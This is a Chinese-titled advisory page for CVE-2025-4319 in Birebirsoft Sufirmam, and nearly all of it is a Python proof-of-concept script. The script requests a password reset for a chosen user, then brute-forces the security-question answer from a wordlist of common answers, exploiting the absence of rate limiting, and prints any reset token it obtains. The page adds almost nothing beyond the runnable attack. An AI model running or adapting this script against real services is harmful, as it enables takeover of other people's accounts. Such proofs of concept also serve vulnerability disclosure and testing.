CVE-2025-4319: Birebirsoft Sufirmam 弱密码恢复机制导致暴力破解风险

# CVE-2025-4319 PoC - Sufirmam Weak Password Recovery Mechanism # This PoC demonstrates the brute-force attack on password recovery import requests import time import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "https://target-system.com" # Replace with actual target USERNAME = "[email protected]" # Target username/email # Common security question answers for brute-forcing COMMON_ANSWERS = [ "fluffy", "max", "buddy", "cat", "dog", "john", "jane", "123456", "password", "admin", "test", "qwerty", "mother", "father", "sister", "brother", "pet", "birthday", "january", "february", "march", "april" ] def test_password_recovery(): """ Test password recovery mechanism without rate limiting """ session = requests.Session() # Step 1: Request password reset reset_url = f"{TARGET_URL}/api/password-reset/request" payload = {"username": USERNAME} try: response = session.post(reset_url, json=payload, timeout=10) if response.status_code == 200: print(f"[+] Password reset requested for {USERNAME}") return session, response.json() except Exception as e: print(f"[-] Error: {e}") return None, None def brute_force_security_question(session, question_id, answers): """ Brute-force security question answers """ verify_url = f"{TARGET_URL}/api/password-reset/verify" for i, answer in enumerate(answers): payload = { "question_id": question_id, "answer": answer.strip().lower() } try: response = session.post(verify_url, json=payload, timeout=5) # Check for successful verification if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] VULNERABLE! Answer found: {answer}") print(f"[+] Session token: {response.json().get('reset_token')}") return True # No rate limiting detected if i % 10 == 0: print(f"[*] Testing answer {i+1}/{len(answers)}: {answer}") except Exception as e: print(f"[-] Request error: {e}") continue return False def main(): print("=" * 60) print("CVE-2025-4319 PoC - Sufirmam Password Recovery Brute Force") print("=" * 60) # Check if system is vulnerable to brute force session, reset_data = test_password_recovery() if session and reset_data: question_id = reset_data.get("question_id") if question_id: print(f"[*] Starting brute-force attack on security question...") print(f"[*] No rate limiting detected - VULNERABLE") success = brute_force_security_question( session, question_id, COMMON_ANSWERS ) if success: print("\n[!] Target is VULNERABLE to CVE-2025-4319") print("[!] Immediate remediation required") else: print("\n[*] Attack completed - answer not found in wordlist") if __name__ == "__main__": main()